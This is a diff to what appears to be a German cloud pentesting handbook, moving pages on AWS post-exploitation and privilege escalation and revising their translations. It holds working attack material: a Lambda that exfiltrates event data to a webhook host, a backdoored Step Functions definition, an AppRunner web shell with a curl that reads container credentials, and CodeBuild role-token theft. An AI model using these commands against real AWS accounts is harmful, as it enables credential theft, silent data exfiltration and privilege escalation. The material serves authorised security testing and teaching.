+Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie `LegitBusinessLogic` aufruft, kann der Angreifer mit **zwei heimlichen Angriffsvarianten** fortfahren:
+
+---
+
+####  Aktualisierte Lambda-Funktion
+
+Der Angreifer modifiziert den Code der bereits von der Step Function verwendeten Lambda-Funktion (`LegitBusinessLogic`), um Eingabedaten stillschweigend zu exfiltrieren.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Einen bösartigen State zur Step Function hinzufügen
+
+Alternativ kann der Angreifer einen **exfiltration state** am Anfang des Workflows einfügen, indem er die Step Function-Definition aktualisiert.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+Der Angreifer kann noch heimlicher vorgehen und die State-Definition wie folgt ändern
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+wobei das Opfer keinen Unterschied bemerkt.
+
+---
+
+### Opfer-Setup (Kontext für Exploit)
+
+- Eine Step Function (`LegitStateMachine`) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
+- Sie ruft eine oder mehrere Lambda-Funktionen wie `LegitBusinessLogic` auf.
+
+---
+
+**Mögliche Auswirkungen**:
+- Stilles Exfiltrieren sensibler Daten, einschließlich secrets, credentials, API keys und PII.
+- Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
+- Schwer zu erkennen, ohne den Lambda-Code oder Ausführungs-Traces zu prüfen.
+- Ermöglicht langfristige Persistenz, wenn die backdoor im Code oder in der ASL-Logik verbleibt.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
index 783fb9600..31d1cb8cd 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
@@ -1,22 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Für weitere Informationen:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Von IAM Creds zur Console
 
-Wenn Sie einige IAM-Anmeldedaten erlangt haben, möchten Sie möglicherweise die Webkonsole mit den folgenden Tools aufrufen. Hinweis: Der Benutzer/die Rolle muss die Berechtigung **`sts:GetFederationToken`** besitzen.
+Wenn Sie IAM credentials erlangen konnten, könnten Sie daran interessiert sein, die **web console** mit den folgenden Tools zu verwenden.\
+Beachten Sie, dass der user/role die Berechtigung **`sts:GetFederationToken`** besitzen muss.
 
 #### Benutzerdefiniertes Skript
 
-Das folgende Skript verwendet das Standard-Profil und einen Standard-AWS-Standort (nicht gov und nicht cn), um Ihnen eine signierte URL zu geben, die Sie zur Anmeldung in der Webkonsole verwenden können:
+Das folgende Skript verwendet das default profile und eine Standard-AWS-Region (nicht gov und nicht cn), um Ihnen eine signierte URL zu geben, die Sie zur Anmeldung in der web console verwenden können:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -54,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-Du kannst mit [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) einen **Link zur Web-Konsole generieren**.
+Sie können **einen Link zur Webkonsole generieren** mit [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -63,22 +64,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat, oder stellen Sie eine Rolle zum Übernehmen bereit.
+> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat oder stellen Sie eine Rolle bereit, die übernommen werden kann.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) ist ein Tool, um AWS-Zugangsdaten in einer Entwicklungsumgebung sicher zu speichern und darauf zuzugreifen.
+[**aws-vault**](https://github.com/99designs/aws-vault) ist ein Tool, um AWS-Anmeldeinformationen in einer Entwicklungsumgebung sicher zu speichern und darauf zuzugreifen.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> Sie können auch **aws-vault** verwenden, um eine **Browser-Konsolensitzung** zu erhalten
+> Du kannst auch **aws-vault** verwenden, um eine **Browser-Console-Session** zu erhalten
 
-### **Bypass User-Agent restrictions from Python**
+### **Bypass von User-Agent-Einschränkungen in Python**
 
-Wenn eine **Einschränkung besteht, bestimmte Aktionen basierend auf dem verwendeten User-Agent auszuführen** (z. B. die Nutzung der python boto3 library basierend auf dem User-Agent zu beschränken), ist es möglich, die vorherige Technik zu verwenden, um **über einen Browser eine Verbindung zur Webkonsole herzustellen**, oder Sie können direkt den **boto3 User-Agent** wie folgt ändern:
+Wenn es eine **Einschränkung gibt, bestimmte Aktionen basierend auf dem User-Agent auszuführen** (z. B. die Einschränkung der Nutzung der python boto3 library basierend auf dem User-Agent), ist es möglich, die vorherige Technik zu verwenden, um sich **über einen Browser mit der Web-Konsole zu verbinden**, oder du könntest direkt den **boto3 user-agent** ändern, indem du Folgendes tust:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -93,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Mit dieser Berechtigung ist es möglich, eine föderierte Identität für den ausführenden Benutzer zu erstellen, beschränkt auf die Berechtigungen, die dieser Benutzer hat.
+Mit dieser Berechtigung ist es möglich, eine federierte Identität für den Benutzer zu erstellen, der sie ausführt, beschränkt auf die Berechtigungen, die dieser Benutzer hat.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-Das von sts:GetFederationToken zurückgegebene Token gehört zur föderierten Identität des aufrufenden Benutzers, hat jedoch eingeschränkte Berechtigungen. Selbst wenn der Benutzer Administratorrechte besitzt, können bestimmte Aktionen wie das Auflisten von IAM-Benutzern oder das Anhängen von Policies nicht über das föderierte Token ausgeführt werden.
+Das von sts:GetFederationToken zurückgegebene Token gehört zur föderierten Identität des aufrufenden Benutzers, jedoch mit eingeschränkten Berechtigungen. Selbst wenn der Benutzer Administratorrechte hat, können bestimmte Aktionen, wie z. B. das Auflisten von IAM users oder das Anhängen von policies, nicht über das föderierte Token ausgeführt werden.
 
-Außerdem ist diese Methode etwas unauffälliger, da der föderierte Benutzer nicht im AWS Portal erscheint; er kann nur über CloudTrail-Logs oder Überwachungstools beobachtet werden.
+Außerdem ist diese Methode etwas unauffälliger, da der föderierte Benutzer im AWS Portal nicht erscheint; er kann nur über CloudTrail logs oder monitoring tools beobachtet werden.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index 6a1b11d5e..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
new file mode 100644
index 000000000..f02a3440a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
@@ -0,0 +1,13 @@
+# AWS - VPN Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+Für weitere Informationen:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
index efbed17a4..c48dfea08 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
@@ -1,48 +1,48 @@
 # AWS - Apigateway Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Apigateway
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### `apigateway:POST`
 
-Mit dieser Berechtigung können Sie API-Schlüssel der konfigurierten APIs (pro Region) generieren.
+Mit dieser Berechtigung können Sie API-Schlüssel für die konfigurierten APIs (pro Region) erzeugen.
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**Potenzielle Auswirkungen:** Mit dieser Technik können Sie keine Privilegien erhöhen, aber Sie könnten Zugang zu sensiblen Informationen erhalten.
+**Potentielle Auswirkung:** Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugang zu sensiblen Informationen erhalten.
 
 ### `apigateway:GET`
 
-Mit dieser Berechtigung können Sie die generierten API-Schlüssel der konfigurierten APIs (pro Region) abrufen.
+Mit dieser Berechtigung kannst du die generierten API-Schlüssel der konfigurierten APIs abrufen (pro Region).
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**Potenzielle Auswirkungen:** Mit dieser Technik können Sie keine Privilegien erhöhen, aber Sie könnten Zugang zu sensiblen Informationen erhalten.
+**Mögliche Auswirkungen:** Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugriff auf sensible Informationen erhalten.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, um sich selbst den Zugriff zu gewähren, sie aufzurufen und potenzielle Zugriffe, die das API-Gateway haben könnte, auszunutzen (wie das Aufrufen einer verwundbaren Lambda).
+Mit diesen Berechtigungen ist es möglich, die Resource Policy einer API zu ändern, um sich selbst die Berechtigung zu geben, sie aufzurufen, und potenziell Zugriff zu missbrauchen, den das API gateway haben könnte (z. B. das Aufrufen einer verwundbaren lambda).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
 --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-**Potenzielle Auswirkungen:** Sie werden normalerweise nicht in der Lage sein, direkt mit dieser Technik Privilegien zu erhöhen, aber Sie könnten Zugang zu sensiblen Informationen erhalten.
+**Potential Impact:** Du wirst normalerweise nicht direkt per privesc eskalieren können, aber du könntest Zugriff auf sensible Informationen erhalten.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-> [!HINWEIS]
+> [!NOTE]
 > Muss getestet werden
 
-Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API mit einer Lambda-Funktion hinzufügen, die eine IAM-Rolle zugewiesen hat**. Der Angreifer kann dann **die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugriff auf die mit der IAM-Rolle verbundenen Ressourcen zu erhalten**.
+Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API hinzufügen, die eine Lambda-Funktion mit einer angehängten IAM role verwendet**. Der Angreifer kann dann **die Lambda-Funktion auslösen, sodass sie beliebigen Code ausführt und möglicherweise Zugriff auf die Ressourcen erhält, die mit der IAM role verknüpft sind**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Zugriff auf Ressourcen, die mit der IAM-Rolle der Lambda-Funktion verbunden sind.
+**Potential Impact**: Zugriff auf Ressourcen, die mit der Lambda function's IAM role verbunden sind.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
-> [!HINWEIS]
+> [!NOTE]
 > Muss getestet werden
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateAuthorizer` und `apigateway:CreateDeployment` kann **einen bestehenden API Gateway-Autorisierer ändern**, um Sicherheitsüberprüfungen zu umgehen oder um beliebigen Code auszuführen, wenn API-Anfragen gestellt werden.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateAuthorizer` und `apigateway:CreateDeployment` kann **einen vorhandenen API Gateway authorizer ändern**, um Sicherheitsprüfungen zu umgehen oder beim Aufruf von API-Anfragen beliebigen Code auszuführen.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Umgehung von Sicherheitsprüfungen, unbefugter Zugriff auf API-Ressourcen.
+**Potentieller Einfluss**: Umgehung von Sicherheitsprüfungen, unautorisierter Zugriff auf API-Ressourcen.
 
 ### `apigateway:UpdateVpcLink`
 
-> [!HINWEIS]
-> Muss getestet werden
+> [!NOTE]
+> Noch zu testen
 
-Ein Angreifer mit der Berechtigung `apigateway:UpdateVpcLink` kann **einen bestehenden VPC-Link ändern, um auf einen anderen Netzwerk-Load-Balancer zu verweisen, wodurch privater API-Verkehr möglicherweise an unbefugte oder bösartige Ressourcen umgeleitet wird**.
+Ein Angreifer mit der Berechtigung `apigateway:UpdateVpcLink` kann **einen vorhandenen VPC Link so ändern, dass er auf einen anderen Network Load Balancer zeigt und damit privaten API-Verkehr möglicherweise zu unautorisierten oder bösartigen Ressourcen umleitet**.
 ```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
+VPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
 
 # Update the VPC Link
 aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
 ```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Stören des API-Verkehrs.
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Unterbrechung des API-Verkehrs.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
index e9dc6c7f9..a9cd8afa5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - AppRunner Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AppRunner
 
 ### `iam:PassRole`, `apprunner:CreateService`
 
-Ein Angreifer mit diesen Berechtigungen kann einen AppRunner-Dienst mit einer angehängten IAM-Rolle erstellen, wodurch er möglicherweise Privilegien eskalieren kann, indem er auf die Anmeldeinformationen der Rolle zugreift.
+Ein Angreifer mit diesen Berechtigungen kann einen AppRunner-Service mit einer angehängten IAM-Rolle erstellen und sich dadurch durch Zugriff auf die Anmeldeinformationen der Rolle möglicherweise höhere Rechte verschaffen.
 
-Der Angreifer erstellt zunächst eine Dockerfile, die als Web-Shell dient, um beliebige Befehle im AppRunner-Container auszuführen.
+Der Angreifer erstellt zuerst ein Dockerfile, das als Web-Shell dient, um beliebige Befehle auf dem AppRunner-Container auszuführen.
 ```Dockerfile
 FROM golang:1.24-bookworm
 WORKDIR /app
@@ -40,7 +40,8 @@ RUN go mod init test && go build -o main .
 EXPOSE 3000
 CMD ["./main"]
 ```
-Dann push dieses Image in ein ECR-Repository. Durch das Pushen des Images in ein öffentliches Repository in einem von dem Angreifer kontrollierten AWS-Konto ist eine Privilegieneskalation möglich, selbst wenn das Konto des Opfers keine Berechtigungen hat, um ECR zu manipulieren.
+Dann pushen Sie dieses Image in ein ECR-Repository.
+Wenn das Image in ein öffentliches Repository in einem vom attacker kontrollierten AWS-Account gepusht wird, ist privilege escalation möglich, selbst wenn das victim-Konto keine Berechtigungen hat, ECR zu manipulieren.
 ```sh
 IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
 docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
@@ -48,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
 docker push $IMAGE_NAME
 docker logout public.ecr.aws
 ```
-Als Nächstes erstellt der Angreifer einen AppRunner-Dienst, der mit diesem Web-Shell-Image und der IAM-Rolle konfiguriert ist, die er ausnutzen möchte.
+Als Nächstes erstellt der Angreifer einen AppRunner-Service, der mit diesem web shell image und der IAM Role konfiguriert ist, die er ausnutzen möchte.
 ```bash
 aws apprunner create-service \
 --service-name malicious-service \
@@ -62,10 +63,10 @@ aws apprunner create-service \
 --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
 --query Service.ServiceUrl
 ```
-Nachdem Sie gewartet haben, bis die Erstellung des Dienstes abgeschlossen ist, verwenden Sie die Web-Shell, um die Container-Anmeldeinformationen abzurufen und die Berechtigungen der IAM-Rolle zu erhalten, die an AppRunner angehängt ist.
+Nachdem die Erstellung des Service abgeschlossen ist, verwenden Sie die web shell, um container credentials abzurufen und die Berechtigungen der an AppRunner angehängten IAM Role zu erhalten.
 ```sh
 curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
 ```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder IAM-Rolle, die an AppRunner-Dienste angehängt werden kann.
+**Potentielle Auswirkung:** Direkte privilege escalation zu jeder IAM role, die an AppRunner services angehängt werden kann.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index f4e2282e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
new file mode 100644
index 000000000..11d7e910c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+Noch ausstehend
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
similarity index 70%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
index f50240342..2c8b8b365 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Codebuild Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
-Weitere Informationen finden Sie in:
+Weitere Informationen:
 
 {{#ref}}
-../aws-services/aws-codebuild-enum.md
+../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der IAM-Rolle, die dem Projekt zugewiesen ist, zu stehlen:
+Nur mit einer dieser Berechtigungen reicht es aus, einen Build mit einem neuen buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -58,16 +58,16 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 {{#endtab }}
 {{#endtabs }}
 
-**Hinweis**: Der Unterschied zwischen diesen beiden Befehlen ist:
+**Hinweis**: Der Unterschied zwischen diesen beiden Befehlen ist, dass:
 
-- `StartBuild` löst einen einzelnen Build-Job mit einem bestimmten `buildspec.yml` aus.
-- `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das Ausführen mehrerer Builds parallel).
+- `StartBuild` startet einen einzelnen Build-Job unter Verwendung einer spezifischen `buildspec.yml`.
+- `StartBuildBatch` erlaubt es, ein Batch von Builds zu starten, mit komplexeren Konfigurationen (z. B. mehrere Builds parallel auszuführen).
 
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen.
+**Potentielle Auswirkung:** Direktes privesc auf angehängte AWS Codebuild-Rollen.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Berechtigungen auf jede Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt.
+Ein Angreifer mit den **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** Berechtigungen wäre in der Lage, durch das Erstellen eines laufenden Builds **einen privesc auf jede codebuild IAM-Rolle** zu erreichen.
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 {{#endtab }}
 {{#endtabs }}
 
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder AWS Codebuild-Rolle.
+**Mögliche Auswirkungen:** Direkter privesc auf jede AWS Codebuild-Rolle.
 
 > [!WARNING]
-> In einem **Codebuild-Container** enthält die Datei `/codebuild/output/tmp/env.sh` alle Umgebungsvariablen, die benötigt werden, um auf die **Metadaten-Anmeldeinformationen** zuzugreifen.
+> In einem **Codebuild container** enthält die Datei `/codebuild/output/tmp/env.sh` alle env vars, die benötigt werden, um auf die **Metadaten-Zugangsdaten** zuzugreifen.
 
-> Diese Datei enthält die **Umgebungsvariable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, die den **URL-Pfad** zum Zugriff auf die Anmeldeinformationen enthält. Es wird etwa so aussehen: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Diese Datei enthält die **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, die den **URL-Pfad** für den Zugriff auf die Zugangsdaten enthält. Er sieht ungefähr so aus: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-> Fügen Sie das zur URL **`http://169.254.170.2/`** hinzu, und Sie werden in der Lage sein, die Rollenanmeldeinformationen zu dumpen.
+> Füge das an die URL **`http://169.254.170.2/`** an und du kannst die Rollen-Zugangsdaten auslesen.
 
-> Darüber hinaus enthält es auch die **Umgebungsvariable `ECS_CONTAINER_METADATA_URI`**, die die vollständige URL enthält, um **Metadateninformationen über den Container** zu erhalten.
+> Außerdem enthält sie die **env variable `ECS_CONTAINER_METADATA_URI`**, die die vollständige URL liefert, um **Metadaten zum Container** abzurufen.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Genau wie im vorherigen Abschnitt, wenn Sie anstelle der Erstellung eines Build-Projekts es modifizieren können, können Sie die IAM-Rolle angeben und das Token stehlen.
+Wie im vorherigen Abschnitt: Wenn du statt ein neues Build-Projekt zu erstellen ein vorhandenes Projekt modifizieren kannst, kannst du die IAM-Rolle angeben und das Token stehlen.
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder AWS Codebuild-Rolle.
+**Potential Impact:** Direkter privesc auf jede AWS Codebuild-Rolle.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Wie im vorherigen Abschnitt, aber **ohne die Berechtigung `iam:PassRole`**, können Sie diese Berechtigungen missbrauchen, um **bestehende Codebuild-Projekte zu ändern und auf die Rolle zuzugreifen, die ihnen bereits zugewiesen ist**.
+Wie im vorherigen Abschnitt, jedoch **ohne die `iam:PassRole`-Berechtigung**, kannst du diese Berechtigungen ausnutzen, um **bestehende Codebuild-Projekte zu modifizieren und auf die Rolle zuzugreifen, die ihnen bereits zugewiesen ist**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen.
+**Potentielle Auswirkung:** Direkter privesc auf angeschlossene AWS Codebuild-Rollen.
 
 ### SSM
 
-Mit **ausreichenden Berechtigungen, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird.
+Mit **genügenden Berechtigungen, um eine ssm session zu starten**, ist es möglich, **in ein Codebuild-Projekt** zu gelangen, das gerade gebaut wird.
 
-Das Codebuild-Projekt muss einen Haltepunkt haben:
+Das Codebuild-Projekt muss einen breakpoint enthalten:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
@@ -323,9 +323,9 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
